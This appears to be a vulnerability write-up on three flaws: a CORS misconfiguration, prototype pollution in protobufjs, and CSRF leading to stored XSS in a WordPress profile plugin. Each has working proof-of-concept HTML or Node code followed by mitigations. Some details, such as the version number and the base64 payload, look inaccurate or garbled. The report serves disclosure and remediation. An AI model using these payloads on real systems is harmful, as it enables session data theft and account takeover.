

CLIENT SIDE VULNERABILITIES

CORS MISCONFIGURATION

SUMMARY :

The application exposes CORS misconfiguration that will allow unauthorised external origins to make authenticated cross-origin requests. When a victim visits an attacker controlled page, the attacker can easily read sensitive API responses using victim's session.

STEPS TO REPRODUCE :

Step 1 : Host the provided malicious HTML on any attacker controlled domain.

Step 2 : Send link to a logged in victim.

Step 3 : When victim open the page, the script performs a credentialed CORS request to

<http://localhost:3000/api/manage/admin/connector/indexing-status>

Step 4 : The misconfigured CORS policy will allow the response to be read by attacker.

PAYLOAD USED :

```
<html>
<body>
  <h2>CORS PoC</h2>
  <div id="demo">
    <button type="button" onclick="cors()">Exploit</button>
  </div>
  <script>
    function cors() {
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          document.getElementById("demo").innerHTML = alert(this.responseText);
        }
      };
      xhr.open("GET", "http://localhost:3000/api/manage/admin/connector/indexing-status",
true);
      xhr.withCredentials = true;
      xhr.send();
    }
  </script>
</body>
```

</html>

ATTACK IMPACT :

- Theft of sensitive user data and including chat history.
- Unauthorised access to admin level API endpoints.
- There is a possibility of downloading such files as [webui.db](#).
- It may lead to loss of confidentiality and potential data manipulation.

MITIGATION :

- Implement some strict origin whitelisting.
- Disable the credentialed requests for sensitive endpoints.
- Avoid the wildcard origins.
- Add some server-side authentication checks beyond CORS.

PROTOTYPE POLLUTION IN PROTOBUFJS

SUMMARY :

The affected versions of protobufjs are older than 0.7.5, which allow prototype pollution via multiple internal functions. An attacker can modify *Object.prototype* and enable remote code execution, authentication bypass and global application logic modification.

STEPS TO REPRODUCE

Step 1 : Using `protobuf.parse()`

```
const protobuf = require("protobufjs");
protobuf.parse('option(a).constructor.prototype.verified = true;');
console.log({}.verified);
```

Step 2 : Using `setParsedOption()`

```
const protobuf = require("protobufjs");
function gadgetFunction() {
  console.log("User is authenticated");
}
try {
  let obj = new protobuf.ReflectionObject("Test");
  obj.setParsedOption("unimportant!", gadgetFunction,
    "constructor.prototype.testFn");
} catch (e) {}
({}).testFn();
```

Step 3 : Using `util.setProperty()`

```
const protobuf = require("protobufjs");
protobuf.util.setProperty({}, "constructor.prototype.verified", true);
console.log({}.verified);
```

Step 4 : Using `loadSync()` with the malicious .proto

Poc.proto :

```
option(foo).constructor.prototype.verified = true;
```

Execution :

```
const protobuf = require("protobufjs");
protobuf.loadSync("poc.proto");
console.log({}.verified);
```

PAYLOAD USED :

1. *constructor.prototype.<property> = <value>*

2. Base 64 payload from [jazzzer.js](#) :

eyJjb25zLI9fcHJvdG9fXy50cmUwIjogeyJwcnliOiAidGEifX0=

ATTACK IMPACT :

- The code will execute remotely across the application.
- It will delay the service by corrupting the built-ins.
- It can modify and get the authorisation and authentication and also verification of flags.
- Logic corruption through global prototype changes.

MITIGATION :

- Update and upgrade to patched versions.
- Sanitise all user controlled keys, keep everything in check.
- Use safe object creation (`Object.create(null)`).
- It will replace the plain objects with map where it is applicable.

CSRF TO STORED XSS IN WORDPRESS SIMPLE USER PROFILE PLUGIN

SUMMARY :

The plugin which are using less than 1.9, these lacks CSRF validation, allowing attacker to inject stored XSS payloads into user profile fields. Whenever the victim visit the malicious page the forged POST request update their profile with malicious javascript.

STEPS TO REPRODUCE :

Step 1 : The victim must be logged into Wordpress websites.

Step 2 : Host a malicious HTML page which contain the CSRF form.

Step 3 : Trick the victim to make him visiting the page.

Step 4 : The form of auto-submits and updates profile fields with an XSS payload.

Step 5 : Payload executes whenever the profile page is viewed.

PAYLOAD USED :

```
<html>
<body onload="document.csrf.submit()">
  <form name="csrf" action="https://victim-site.com/wp-admin/profile.php"
method="POST">
    <input type="hidden" name="first_name" value=""><script>alert('XSS')</script>'>
    <input type="hidden" name="last_name" value="test">
    <input type="hidden" name="nickname" value="test">
  </form>
</body>
</html>
```

ATTACK IMPACT :

- The persistent XSS will be in admin dashboard and it has a potential to take over the admin account.
- Privilege escalation for lower-privileged users.
- The payload will stay so long until its manually gets not removed.

MITIGATION :

- Implement the wordpress nonces like wp_nonce_field, check_admin_referer, etc
- Sanitise the profile fields via wordpress sanitisers.
- Block the HTML/JS in profile inputs unless it's explicitly needed.

